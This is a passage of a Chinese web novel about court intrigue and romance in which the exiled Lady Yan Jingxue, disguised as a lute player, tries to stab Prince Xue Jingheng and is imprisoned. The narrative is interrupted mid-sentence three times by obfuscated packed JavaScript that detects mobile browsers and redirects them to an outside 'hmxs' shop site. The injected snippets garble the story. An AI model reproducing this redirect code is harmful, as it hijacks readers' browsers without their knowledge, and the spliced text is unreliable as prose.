《临安双璧为她折腰》 1. 旧时曲 薛景珩的头痛症发作得愈加频繁了,眼见额头已经沁出汗珠,眉头紧锁成川,眼眸微闭,神色却不安宁,像是被困在一场陈年旧梦中,痛彻心扉却不肯转醒。 满院下人,一室安静,贴身影卫连呼吸都微不可闻,一是因为府里规矩极严,二是王爷脾气越来越差。 新来的婢女冬月捧着已经温凉的茶水,隔着屏风间隙,羞怯怯地偷偷抬眼打量。 薛景珩生的丰神俊朗、五官立体分明,眉间一抹英气,俊朗之中带着几分冷峻,不知惹得多少临安城的闺阁女儿魂牵梦萦。 “砰!”就在婢女微微愣神的功夫,手上失了力道,茶杯重重磕在托盘边缘,打破了满室寂静。 “仔细些!王爷跟前当值也这般毛手毛脚?”王府掌事的玉竹姑姑闻声不满,低声训斥道。 薛景珩斜倚在软榻上,月白中衣的衣襟微微松散,面色苍白,似有病容,额角一层薄汗,睫毛随着响声微颤,猝然从陈年旧梦中惊醒。 他醒时的手指还虚搭在一卷褒贬时弊的策论上,论述中将临安城的五姓十族比作“蛀空梁柱的白蚁”,主张废黜世家旧俗和特权、扫清临安城污浊之气,为平民学子广开寒门之路。 文章旁边落下薛景珩的批注——“志气可嘉,然涉世未深”,笔尖处洇开一点犹豫的墨痕,最终又写下“此子可琢”四个字,文章落款是新科举子蒋砚的名字。 闯祸的小丫头见势不妙,拼命往后缩,却被玉竹一把攥住了手臂,力道不大,却惊得她“嘶”地抽了口冷气,飞快地攥紧袖口。 “调你来王爷近旁伺候,原是指着你素日乖巧妥帖”,玉竹语气里半是恼怒半是失望,“今日怎地这般毛躁?……你可知王爷朝政繁忙,已经两天没有睡过整觉了,好容易躺下休憩片刻,又被你这小蹄子给吵醒了!” “奴婢知错了。” 小丫鬟垂着头,声音细若蚊蚋,“方才一时走神才失手摔了茶盏,以后再不敢了。” 玉竹原是薛老夫人跟前调教出来的丫头,因为服侍得当妥帖,五年前被拨来给薛景珩院中掌事,约莫二十七八岁,生得端正秀丽,办事聪慧大方,极得府中众人敬重。 此刻目光落在小丫鬟泛红的眼角上,不自觉叹了口气,声音放柔了几分:“别哭了,赶快收拾好退下吧。” 薛景珩惊醒后的眼神落在窗外光秃的海棠树上,一抹微不可察的苦涩稍纵即逝。 阖眸凝神片刻,再睁眼时眼底的眸光已渐渐平静,恢复到平日大权在握、杀伐决断的淮安王模样。 “在吵什么事?”冷冽声音从屏风内传来,霎时,屋内众人噤若寒蝉。 玉竹略欠着身,脚步稳而轻地转入屏风后请安,“是奴婢管教不严,扰了公子清净,”她斟酌了说辞替小丫鬟遮掩,“都怪雪团那小家伙,突然从窗外窜进来惊了奉茶婢女,方才失手打翻了茶盏。” 薛景珩的眼神微动:“雪团?” 像是为了印证玉竹的话,一只通体雪白的狸奴碰巧轻盈地跃上窗棂,金色的眸子在光下眯成一条线。 然后轻悄地绕过书案走到薛景珩的软塌旁,用头顶蹭着他的手掌,十分无辜地发出满足的呼噜声。 薛景珩放下手中书卷,轻抚着小狸奴柔软的背脊,指尖在温热的绒毛间流连。 低垂的眸中似含着一泓化不开的湖水,温柔沉静。 只是眼中藏着难以察觉的细微波澜,如同月下幽潭忽然被风吹皱很快又复平。 “路滑天冷该在屋里拘着些,怎地这般顽皮……” 薛景珩的声音低得几乎听不见,“倒是学得她三分狡黠……” 玉竹离得近闻言略怔楞,捧着碎瓷片的手掌不可察地微微一滞,抬眼间却见薛景珩神情沉静如常,暗自松了一口气。 便转头对着小丫鬟冬月催促道,“换壶新茶来”。 薛景珩闻言终于抬眸,看向屏风后地上的一片狼藉,又略过满脸惶恐的小丫鬟,低咳两声,嗓音里泛着久病磨出的沙哑,“冬月入府不久,年岁小又素来恭谨勤勉,莫要为难她,饶过这次罢……如若再犯,再交由姑姑处置。” “多谢王爷恩典!”小丫头闻言欢喜地如蒙大赦,手忙脚乱地收拾好碎瓷片后,急忙叩首行礼告退,不觉间后襟的丝绸褂子已经湿透,冷汗黏腻粘连在一起,屋外寒风吹过泛起一阵战栗。 自五年前亲手处置言相的事情后,王爷便一直郁郁不畅,行事作风严苛,再无半分容情。 五年前,承文二十二年,史称“承文之乱”。临安城中巫蛊作乱,东宫太子被指私藏甲兵并以厌胜之术诅咒圣躬。 文帝大怒传旨废黜东宫。 太子皇甫云睿不肯束手就擒,遂举兵谋反。 最终,太子兵败饮剑含元殿,其母言贵妃悬梁自缢。 言贵妃母族——根基深厚的百年相府也轰然倒塌。 文帝在御榻前闻讯愤恨交加,猝然昏厥。 二皇子皇甫云州力挽狂澜,以韩家军铁骑为援,兵甲慑外;以薛景珩合纵连横之才为谋,权术安内。 铁腕镇压一众老臣,逼得太子太傅血溅朝堂,群臣震怖,莫敢仰视。 直到这时,临安城里五姓十族的皇族贵戚才从歌舞升平中如梦初醒,原来早就有人布好了棋局。 一夕间,临安城内改换门庭,言家所在的太子党树倒猢狲散,文帝气急攻心昏迷不醒,二皇子皇甫云州则顺理成章代天子监国。 而薛景珩因辅助二殿下的从龙之功,被加封为异姓亲王——淮安王,手握三万宫廷禁军,一时间风头无量,成为朝堂中炙手可热的人物。 薛家也从门可罗雀的微末家族重新焕发祖上荣光,一跃成为临安城十大氏族之首,声望仅次于五姓氏族之下。 现下闻得恩宽,冬月连忙谢恩告退。 朝政纷扰,薛景珩已是接连数日未曾安眠,此刻被骤然吵醒,他不觉偏着头,指节重重地按压上突突直跳的太阳穴,虽未言语,眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16637524|188073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宇间却凝着一片化不开的倦怠与疲惫。 见状,立即有机灵的侍女上前询问,“府里还住着几位新来的琴师擅弹民间小调,王爷素日爱听琴,现在头痛症发作,不如邀琴师过来弹奏一曲可好?许能舒心解郁。” 见薛景珩不置可否,婢女慌忙抬头,眼神求助看向旁边的侍卫长路遥,路遥揣摩着薛景珩的神色微微颔首。 婢女得了默许,立即欢喜地去安排。 薛景珩性情沉稳,这几年更显冷淡,连自幼伺候他的府中人也难以揣测他的喜怒。不过有一件事例外——王爷听琴时,脾性会格外温平,甚至当差下人所得的赏赐都特别丰厚。 婢女想到方才献上的主意得到了赞许,掩不住眼中的笑意,又想着或许能多得些赏赐,不由挺直了腰身,通报的脚步也轻快了许多。 半盏茶的功夫,女琴师抱琴而来。她一袭素衣,半尺长的白纱覆面,瞧不清面容,步履婀娜轻盈,一路走来裙裾纹丝不动,两袖如弱柳扶风,依稀是一位受过良好规矩教养的年轻少女。 薛景珩懒散地从乌木软榻上坐起身,饶有兴趣的瞧着琴师的动作。 “大胆女子,见到淮安王何故遮遮掩掩、不摘下面纱见礼?”路遥大声斥责道,眼中带着警惕和审视。 琴师从容地放下古琴,双手交叠于腰前,眼神低垂,规规矩矩地屈膝俯身下拜,行了一个周全的万福礼。 然后才缓缓开口回道:“民女幼时遇到意外,面容在大火中损毁,相貌丑陋不宜见人,故而一直以面纱覆面,望王爷体恤。” 她声音粗粝喑哑,每个音节都像破旧的风箱,在寒风里发出呼啦啦的声响,像一位饱经沧桑的老妪,简直不忍耳闻,与她窈窕的身形和年少芳华极为不配,形成了巨大反差。 路遥在听到琴师声音的那一刻,眼里的警惕一晃而逝,神色不觉变为失望,但是依然没有放松持剑的手,继续追问道:“你的声音天生就是如此么?” 婢女诧异地悄悄抬了抬眼,路侍卫长虽然平日爱与府上婢女玩笑几句,十分平易近人,可每逢当值时最是谨慎小心,一向沉默少言,今日怎得对琴师如此关心? 景珩轻抚着茶盏,眼神略过路遥,嘴角带着笑,眼神却晦暗不明。路遥心中一沉,暗骂自己多嘴。 “回禀大人,民女因年少时一场大火毁了面容,也伤了声音。”她带着面纱看不清面容,声音是平静的波澜不惊。 薛景珩怀中的雪团倏然立起,脚步轻巧地跃下软塌,落在青石地上。 它款步至琴案前,尾尖优雅地勾起一个弧度,绕着那袭素白裙裾缓缓游走。最后驻足,仰起小巧的头颅,在琴师绣着海棠花样的鞋面上轻轻一蹭,又极尽缠绵地来回摩挲,满足地溢出呼噜声。 薛景珩瞧着心爱狸奴的动作未语,拨弄着茶盏却不饮。 半晌,方听见他疏离有礼地吩咐琴师落座。 “那便拣个拿手的曲子来弹,若弹得好,本王重重有赏。” 2. 故人叹 女琴师礼数周全,轻提着裙角净手、入座、焚香、弹琴。 白玉似的指尖在琴弦之间灵活跃动,清亮的琴音流泻而出,是临安城耳熟能详的白梅颂,原本柔美的调子经琴师的演奏,莫名多了一丝清冷孤高之感。 清冷的梅香似乎扑面而来,其中还带着腊月寒冬的肃杀。 薛景珩在袅袅琴音间突然开口:“前些日子我想听古琴,韩氏二公子韩硕不知从何处得了消息,便自作主张搜罗来几位琴师献与淮安王府……可不巧,本王当日有军机大事进宫,便吩咐管家都打发走了……你怎地还在这里?”薛景珩的声音温柔,眼神却冰冷。 琴师指尖抚奏如行云流水,技巧高妙、毫无错乱,神色自如间轻抬眼眸开口回道:“无功不受禄,既然收下了府上赏金,便该为王爷弹琴解忧才对。民女当日求得管家通融,在王爷府暂住了几日,等今日弹完此曲便可安心离去了。” 薛景珩微微阖眸不置可否。 待琴曲过半,琴师缓缓开口问道:“王爷言谈之间似乎颇通琴曲,可是曾专研过古琴,最喜欢哪只曲子?” 他垂眸沉思,停顿了数秒,答案似乎就在唇齿间,却斟酌着难以言说:“……我一向厌恶丝竹,靡靡之音让人软弱,只是少时一位玩伴,弹得一手好琴,听得久了便养成了习惯,如今头痛时听上两曲倒也有趣……她弹得最好一首曲子叫临安调,是她自己谱的曲子。” “临安调,很美的名字,这曲子……你可喜欢?” “以前不觉得如何,许久未听倒很是怀念……”他的声音略有凝滞,流露出难以抑制的情绪。 似乎是觉察到自己的失态,薛景珩微微垂眸,转开话题:“看琴师步态应是出身临安城的贵门之女,怎么沦落到卖艺为生?” “我少时家境殷实,家里也曾请过离宫的礼仪嬷嬷教导一二,只是……后来家中亲长逝世、家族衰败,如今只能靠一手琴技谋生度日……临安城有我很多年少的回忆,只可惜……并不是好的记忆……或许……王爷也会怀念少时的时光么?”琴曲弹着最后一段音,琴师哑着嗓子,问出最后一句话。 “你到底是谁?”路遥怒目而视,薛景珩缓缓起身走向白衣琴师,眸色晦暗不明。 女子低低地笑了,即使隔着面纱仿佛也能感受到欢愉,只是声音粗哑,透着讽刺和惊悚。 一把淬着寒光的短刀骤然被从古琴底部抽出,触不及防地刺向薛景珩心口,“景珩哥哥,久违了。” “我来为言氏亡魂,讨个公道!” 她持刀的动作发狠,姿态却仍透着一股纤弱易折的错觉。只是唇角弯弯,未来得及敛尽的冷峭弧度,一隙间竟透出纵览全局的谋算与笃定。 而薛景珩直视着她的眼睛,没有避开。 就在刀锋即将没入心口的一瞬间,薛景珩语气似带着叹息:“你不该回来。” 话音未落,他手腕一转,琴师手中的短刀便应声弹开落地,清脆的声响划破了凝滞的空气,将原本一室安宁撕裂得支离破碎。 琴师出手果决,眼见没能一击即中要害,刺杀已经失了先机。 她眼底却掠过一丝极淡的微弱笑意,手腕顺势向下一沉,利落地松开了匕首。眼眶不着痕迹地泛起薄红,眼波流转间盈盈泪光将落未落,似还带着几分不甘与怨恨望向薛景珩。 不着痕迹的娇柔之态,纵是铁石心肠,亦为之一动。 “来人!保护王爷!”路遥厉声呵斥。刹那间,数名侍卫破门而入,利剑出鞘发出清脆的鸣响,屋内的空气仿佛在瞬间凝结,带着冰冷的杀气,如雷霆欲坠,压得人透不过气。 侍卫将琴师团团围住,掀落面纱后却只是一个年轻女子,长发垂腰,未施粉黛,发髻只着一根碧玉钗装饰。 女子容色清丽,如雨后新荷。尤其眉心一朵红色云纹胎记,恰似朱砂点就的永生花钿,灼灼绽放在玉色肌肤上,令人见之忘俗。 她周身素白,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16637525|188073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一袭软缎长衣,裙袂在微风里拂动如云涌雾卷。纵是无多余珠翠点缀,那通身的气度也已胜过万千华彩。 最难忘是那双眼眸,清亮如洗,顾盼时宛若星辰流转,光华璀璨,直教人不敢逼视。 琴师衣袖被剑气划破散乱,却无一丝惊慌,举手投足间神态自然而不矫揉造作,只是神色决绝。 几个率先冲进来的亲信侍卫手握剑柄,眉头微蹙,盯着女子那面似曾相识的容颜,思绪如潮水般涌来。 “你……是……”侍卫喉头微颤,心底升起一股莫名的敬畏与恐惧,看向自家王爷的神色。 “言郡主!”路遥惊讶地脱口而出。 侍卫们听闻,手中的剑微微颤动,竟不敢再逼近。 临安皇城内谁人不曾听过言郡主的大名,当今圣上亲封的福安郡主,言贵妃的侄女,太子的表妹,言丞相的掌上明珠,集万千宠爱于一身的言靖雪。 言相未倒台之前,权倾朝野,有三子一女,对老来得女的言靖雪最为疼爱,被圣上特许和皇子皇女一同在皇宫长大。 可惜“承文事变”后,言家受废太子牵连被连根拔起,族中女子和十四岁以下男子被流放漠北风沙之地,非赦不得回京中。 薛景珩望着言靖雪,不发一言,眸色几经变幻看不出情绪。 “不好,她要自尽!”路遥脸色大变惊呼,只见言靖雪脸颊微微鼓起,用力咬动牙关,似要吞药自尽。 薛景珩抢先一步毫不留情地捏住她的下巴,强势地撬开她的嘴,乌黑的药丸顺势滚落在地,被踩住碾碎。 “靖雪,死才是件容易的事。” 他的指尖擦着言郡主的脸颊划过,似乎情人的亲昵缱绻,吐露的话语却冷漠:“有人冒充福安郡主行刺,将她带下去关在地牢。除非我的手令,任何人不许探视。” 言罢,眼神缓缓略过府内众人,带着迫人的威压:“今日之事若谁敢向外吐露半个字,按照王府规矩处置!” 3. 不思量 淮安王府的地牢潮湿阴暗,空气中腐木夹杂着浓烈的铁锈味,熏得人头晕脑胀。 斑驳的苔藓潜伏在各处幽暗角落,墙角不时有几滴浑浊的水珠滴落,发出低沉的滴答声,犹如恶鬼的呢喃。 皎洁的月光透过天窗,只剩下斑驳残影,落下星星点点的清冷月辉。 地牢中有人定时来送一日三餐,薛景珩却仿佛凭空消失了,既不提审也不露面。 最深处的暗室中,言靖雪蜷缩在墙角,半倚在草席卷成的床铺上,唇色苍白,脸上因为低烧而透出不健康的潮红。 半睡半醒间,她的神思却意外地清明。 短短几年间,言氏一族从权倾朝野到获罪流放。 眼见其高楼起,眼见其高楼塌。 过往的事情如同走马灯,在她眼前不停闪现。 骄傲清高的父亲言如晦被削去丞相职务、囚于天牢自尽而亡,盛宠一时的姑姑言贵妃疯癫自裁于朝云殿,太子不堪兵败受辱当场自刎。 言氏长兄言文铮是武将,闻旨反抗被当场诛杀,二哥言文敬体弱胆小,在书库悬梁自尽。 素日里,那些依附言氏横行霸道的亲友,更是树倒猢狲散。 炙手可热的言氏一夕之间被连根拔起,沦为街头巷尾的谈资。 原来权势威名不过是空中楼阁,随着风势便消散无踪。 只有三哥言文渊未入仕,平日醉心诗酒,所念无外乎山间风月,如闲云野鹤浪荡江湖,事发前三个月外出访友,至今杳无音讯。 不远处放着温热的饭菜,饭菜的香气在空气中缓缓弥散,勾起身体本能进食的吞咽反应,阵阵饥饿感如同尖刺般刺痛她的胃。 可是,已经两天水米未进,呕出来的不过是些清水。 靖雪屏气咽下口水,然后转过头闭上眼,通过盘算故事里的细枝末节来对抗肚子的饥饿叫嚣。 言靖雪自幼金尊玉贵地长大,本该有锦绣前途。 命运唯一的疏漏就是,她不该在宫宴上贪杯醉酒,在美色面前色令智昏,爱上那年漫天飞雪里,在桥边折梅的少年。 —— 彼时寒冬腊月,阖宫年宴。 言贵妃的朝云殿灯火璀璨,恍如白昼。 珠帘轻垂,烛影翩跹,好一幅盛世之景。 宫人们各处走动却十分有序,唯恐有半点差池惹贵妃责罚。 沈皇后多年前小产,自此便潜心礼佛,幽居长安殿不出,导致帝后离心,故而协理六宫的事就交给了德妃和言贵妃。 德妃娘娘出身五姓之中的窦氏,入宫年资最长,育有二皇子和九公主成年,平日恭谨贤良、端庄淑惠为后宫表率。 因为体恤百姓耕种不易,德妃生活简素,不必要的物件一律减省,甚至连锦缎珍宝都只在必要场合才动用。 而言贵妃则正相反,她喜奢华、讲排场,所食所用皆要光彩夺目、铺张华贵。 言贵妃天生丽质,未出阁时在赏花宴上被文帝看中,破格册封,入宫即专宠,诞下三皇子皇甫云睿即封贵妃。 其子凭母贵,襁褓中即立为太子,言氏一族亦因此显赫。 贵妃一句“茜色衬得人娇俏”,江南江北的田垄间,寻常稻麦竟尽数让道,十里有八里改种了茜草,只为贡入宫中染就茜色绸缎。 彼时,金銮殿上朝事方毕,圣上缓步而来。 文帝虽然年近不惑,但是面容俊朗,气度沉稳。身后仪仗肃静,天子之威令人生畏。 瞧见御驾,德妃眸中浮起一丝笑意,慌忙垂首整衣,预备见礼。 德妃肤色白皙,眉眼间透出几分往昔的柔美,但是细纹和微抿下沉的唇角,让人显得有些疲惫,年轻时的风华光彩似乎被蒙上了一层暗淡的纱。 “皇上万福金安!” 朝云殿众人齐齐跪拜,口中高呼万岁,声浪如山呼海啸,震彻云霄。 文帝抬手微微示意道:“平身吧。” “陛下可来迟了”,众人屏息之时,言贵妃却不畏惧天子威仪笑着迎上前,眼波流转间盈盈浅拜,出口却是不遮掩的娇嗔和埋怨,“差点错过臣妾精心安排的歌舞。” 文帝唇角微扬,宠溺地轻点贵妃的眉心,“偏你话多。” 言贵妃约莫三十几许容颜,累金凤钗随着步伐微微摇曳,颈间配以细细的流苏玉坠,愈发衬得肌肤如凝脂。 似笑非笑间眉尾飞扬入鬓,美丽又骄纵。 文帝看向她的眼神十分宠溺:“爱妃今日又为朕准备了什么惊喜?” “臣妾派人编排了一曲浮光舞,还请陛下鉴赏。”贵妃抚掌示意,便立即有泠泠笛音如清泉奏响。 六名舞姬踏着细碎的月光,手握水袖从殿外翩然而入。 彼时夜色正浓,大红色的水袖骤然轻扬交织在一起,波浪翻涌间仿佛朵朵红色山茶花叠放绽开,绚烂璀璨! 六个舞姬腰肢轻折,嫣红的烟罗裙随风旋转,轻移腾挪间步步生花,水袖翻飞间仿佛将红尘万丈的爱恨嗔痴都困在掌心,又恣意抛开,勾勒出无尽的柔情与缠绵。 “妙、妙、极妙!”朝云殿内众人不住地拍掌赞叹,凝神细看中生怕错过每一个细微的精彩瞬间。就连品味挑剔的安乐侯都忍不住连声赞叹道:“恍如仙子临凡!” 坐在高位的德妃娘娘也不禁颔首,向左右侍从笑道:“快瞧那舞姬步伐,个个轻灵曼妙,言妹妹果然好心思。” 舞毕,一众美人盈盈下拜,依次排开跪于御前,果然个个品貌出众。 言贵妃素来大度,不吝举荐民间美人入宫。 文帝眼神不着痕迹略过言贵妃,十分开怀赞叹道:“赏!” “启禀陛下,今日的水袖舞名唤浮光舞,是贵妃娘娘特意给圣上准备的惊喜。”言贵妃身边的海嬷嬷欠身回禀。 海嬷嬷是朝云殿的掌事嬷嬷,约莫五十多岁,满头银发在灯光下微微泛光,岁月的痕迹在脸上清晰可见,身姿端正,带着出身氏族的从容与威仪。 “哦,是吗,难得贵妃对朕如此用心!” 文帝爱怜地欲要轻抚贵妃的脸颊,却刚巧被她垂首饮茶的动作错过,手指落在她发髻间华丽的珠翠上,眸光暗了暗,笑意未减半分。 “寻常宫宴歌舞虽多,终是匠气了些,贵妃娘娘慧心独具,以笛声为乐,以水袖起舞,音舞相和,清远高雅……娘娘还特意嘱咐歌舞司的萧音姑姑,从舞姬中认真挑选出六个极好的,精心教导着有大半月的时间,方成今日惊鸿之姿。”海嬷嬷垂着头不疾不徐回禀道。 “原来是贵妃的巧思,果然不错!”文帝玩笑着亲自给言贵妃斟了杯酒致谢,“贵妃的安排甚合朕心!歌舞司也辛苦了,一并封赏。” “多谢陛下!”言贵妃垂眸浅笑。 大内总管何顺是个极周全伶俐的,眼珠四下打量快速转了转,并未见到歌舞司萧音,躬身凑前道,“陛下,今日宫宴热闹,但是萧音姑姑品级低,怕是轮不到她到场守岁。既然贵妃娘娘金口,浮光舞也有她一份功劳,不若另派人到歌舞司给些封赏吧。” 文帝随意摆摆手,“你着人去办吧。” “奴才遵旨。”何顺赶忙递给旁边小太监一个眼色。 冬风萧瑟,歌舞司的宫女们正忙着整理衣物,一个小太监尖细却威严的声音传来,“圣旨到!” 小太监在门口站得笔直,手中捧着黄绫圣旨,后头还跟着两个内侍,手提锦盒,步履轻快却不失威严。 “奉天承运,皇帝诏曰:歌舞司萧音协助言贵妃编排浮光舞有功,特赐金钗一对,丝帕十条,赏银百两,钦此。” 宣读完圣旨,小太监的目光扫过众人,笑意中却带着疑惑:“萧音姑姑呢?怎地不出来谢恩?” 半晌静默后,还是近身伺候萧音的小宫女瑟缩着低声回禀,“回德公公,萧姑姑身体有些不适,所以……今夜不曾来歌舞司当值。” 小太监目光微敛,语气似有些不满:“既如此,那便烦劳你们传个话罢,请萧姑姑速去金銮殿门口叩首谢恩,不可怠慢。”言罢冷哼一声转身离去。 待传旨太监离开,宫人们才松了一口气。 掌事崔霓凰擦了擦额上的冷汗,呵斥刚才答话的宫女道:“就算萧音身体再不适,也不能耽搁了领旨谢恩,既然入了宫,就要守着宫里的规矩做事,你速去把她叫来,万不能失了规矩体统!” 小宫女浑身一软,竟瘫坐在地上哭出了声,“……萧音姑姑一向高傲,怎么会将她的行踪告诉奴婢?!奴婢是担心德公公迁怒我们歌舞司,所以情急下扯了谎遮掩!” “你说什么!”崔霓凰陡然拔高了声量,唇线紧闭,鼻翼微微翕动,隐约透出压抑的怒火。 有与萧音平素不和的舞姬挑眉嘲讽:“阖宫守岁的晚上,萧音一个大活人突然消失……莫不是与哪个侍卫有了首尾,趁着夜色……” 话音未落脸上便挨了崔霓凰狠狠一巴掌。 “真是不知死活!” 崔霓凰眉头紧锁,宛如刀锋般锐利环视众人,“平日司内争风吃醋也罢了,这时还出口秽语,难道是想牵连整个歌舞司一同陪葬吗?!” 凝神细思后,她抬手指过几个老实本分的宫人吩咐着,“你们几个分头去尚宫局和乐工司 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众人的调笑引得太子皇甫云睿侧目留神,太子身着明黄色锦缎长袍,领口满绣着威严龙纹,尽显储君威仪。 皇甫云睿的长相随了言贵妃,即便是这样繁复的宫装,穿在身上却毫不显得拘谨,反而更衬得身姿挺拔、姿态从容。 “到底是靖雪妹妹受宠些”,皇甫云睿笑意浅浅,透着些许温柔与耐心,言语间不急不缓,眼神落在每个人身上时,让人心生敬意却又不觉紧张。 “母妃上月刚赐了我一壶南珠,被我分给府内女眷,太子妃欢喜的什么似的,如今看来虽然数量多些个,但是色泽却远不如妹妹这颗……想必是母妃偏心藏私,将其中最好的一颗留了下来,赐给靖雪妹妹……我就说母妃素日偏心,今日一定要找父皇好好告一状。” “太子哥哥又拿我寻开心!”言靖雪和皇甫云睿自幼相伴兄妹情深,闻言不禁莞尔,彼时她扬起小脸,神色带着几分娇蛮,故意玩笑道,“小心,等我回去告诉姑姑!” 彼时,十六岁的言靖雪在觥筹交错间,禁不住各位氏族小姐的夸赞吹捧,贪饮了几杯甜甜的冬酿酒,小脸泛红晕晕乎乎。 她索性趁着众人的精力都在宫宴上,在太子皇甫云睿的遮掩下,偷偷披上白狐大氅,从偏门溜出朝云殿透气。 在漫天飞雪中,醉酒的言靖雪像只迷途的小狐狸醉卧在白梅树下。 再睁眼时,正撞见彼时不受宠的薛家二公子在桥边摘梅花,薛景珩披着黑色大氅,腰上挂一只翡翠平安玉佩,系着微微褪色的玉穗,比起太子哥哥满绣金龙的常服,相见之下略有寒酸。 只是他身姿如松,双眸中如漾开一汪春水,笑起来风流无暇,似乎冰雪刹那消融。 “你生得真好看!” 靖雪脱口而出,一时间色从心生,没看到不远处望春阁中翘首以盼翩然起舞的年轻女子,也没看懂他突变的神色。 “你是谁?我从前怎么没见过你?” 她只记得薛景珩垂首后又落落笑开的眼眉和伸出的手,“小郡主怎么在这里,莫要贪凉,我送你回去吧。” 一霎那,许是冬酿酒的醉意上头,言靖雪轻易就爱上了这张脸。 他可真好看,比氤氲的江南烟雨、吵闹的暗夜烟花、沉闷的冬雪白梅都好看。 原来,年少时候喜欢上一个人,竟是一瞬间的事情。 惊鸿一瞥,目光停留,心意便再不由自己做主。 她没看到,薛景珩离开后,望春阁中萧音怅然若失的神色。 身后的崔霓凰正小心翼翼地劝慰,“姑娘,别等了……宫里人多眼杂,薛公子送福安郡主回殿里,应该不会再回来了……您的身份又特殊,若是被夫人知道了恐怕……” 萧音站在长廊尽头,目光所及薛景珩的身影逐渐在风雪中缩成一个遥远的黑点,时间一分一秒地流逝,眼底女儿家的情愫也随之暗淡下来。 她微微低下头,眉宇间透出一丝难掩的落寞。 崔姑姑解下披风,恭敬仔细地替她穿戴好。 再抬头时,萧音双眸中柔情尽数隐去,目光扫过四周,仿佛穿透了夜色,看向更远的未来。 “姑姑,我想过舍下一切,顺着自己的心意去跟薛景珩问个结果,可惜……缘分两个字最难谋算,以后,我不会再为任何人停留。” 只是彼时的萧音太过年轻骄傲,风轻云淡地向前走去,却未曾预见,那颗自以为洒脱的心、那双她主动放开的手,多年后如此耿耿于怀,以至于沦落到史书里面目可憎的地步。 4. 从前错 只是从梅园初见后,目下无尘、金尊玉贵的福安郡主就变成了薛二公子的小尾巴,从学堂里、御花园追到赛马场。 那是十六岁情窦初开的言靖雪第一次爱上一个人,彼时还不懂得隐忍和克制,只是张扬明媚、年少莽撞,恨不得把一腔真心摊开给人瞧。 薛景珩可以游刃有余避开那些矫揉造作的闺阁千金,却不懂得怎么拒绝坦率、大方,随时随地捧出真心给人瞧的言姑娘。 即使多年后,回忆起彼时那个满心满眼都是自己的小姑娘,薛景珩都不得不承认,即使在当年群狼环伺的算计中,还是有一根弦被触动,那些敷衍和伤人的话,在嘴边绕了又绕,却无论如何开不了口。 十六岁的言靖雪追,十九岁的景珩逃,一时成为御花园趣景。 和藏经阁奇松、揽月阁云海齐名,被言贵妃戏称临安城三绝。 可是当时父亲言丞相却不赞成这门亲事,“薛景珩虽刻意收敛锋芒,但他的眼中绝不止现世安稳,有着我都看不清的谋算。” 言如晦彼时苦口婆心,“薛景珩具备一个优秀上位者的所有特质,谋略、胆气和隐忍……可是,靖雪,他绝不会是一个好丈夫!” “……薛氏嫡长子—薛景珩的哥哥薛景彻,身体羸弱不良于行,薛景珩一出生就背负着振兴氏族的全部期望,是期许却也是负累……何况他几次三番避开你,似乎心中另有所爱……”父亲眼神露出一丝不忍,低声哄劝着,“即使能凭借言家如今的权势下嫁给他,但是婚姻中夹杂着算计权衡,靖雪,你不会幸福的……你还太小了……” “哥哥多虑了吧”,素来偏疼你的小姑姑言贵妃却轻敲折扇打断了兄长的喋喋不休,纤纤玉指递过来一颗晶莹剔透的果肉,“靖雪,尝一尝岭南新进贡的荔枝。” 贵妃慢条斯理拈起丝帕,轻轻擦去指尖沾染的汁水后抚过鬓边凤钗,“兄长何必妄自菲薄……薛家算什么门第,五姓十族中最微末的家族而已,我们靖雪若是喜欢,五姓门庭最拔尖、最清贵的公子都嫁得!……只要是言家女儿想要的,本宫一定会成全她!” 《福安郡主起居录》故事里的旧人都已经渐行渐远。 门外传来轻微的锁链晃动声,应该是来了说客。 言靖雪心口猛地一缩,仿佛被一只冰冷无形的手狠狠攥住!这骤然而至的绞痛毫无缘由,让她瞬间白了脸,只能徒劳地揪紧衣襟,任那尖锐的痛楚在心口莫名搅动起一片空洞而汹涌的潮汐翻涌。 她苍白着脸,细密汗珠浸湿额角,意识模糊间被一双坚实臂膀轻轻托起,被饥饿与虚弱折磨多日,全靠着一股骄矜强撑着,如今终于等来他的身影映入眼帘,才肯放任自己坠入昏迷。 陷进熟悉怀抱的刹那,头顶传来一声极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16637527|188073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻的、含着无奈的叹息,薛景珩垂眸,指尖拂开她颊边濡湿的碎发,唇角那丝几乎不可见的莞尔,瞬间又被眼底深沉的忧色覆盖。 耳畔依稀听见有人在唤着自己的名字,“靖雪,不要睡……” 温热的血液滚下来打湿了衣裳,好像被谁紧紧抓住抱在怀里,像是回光返照的幻觉。 神思混沌之际,却也抽丝剥茧般串起多年前史书故事中未曾留心的细枝末节。 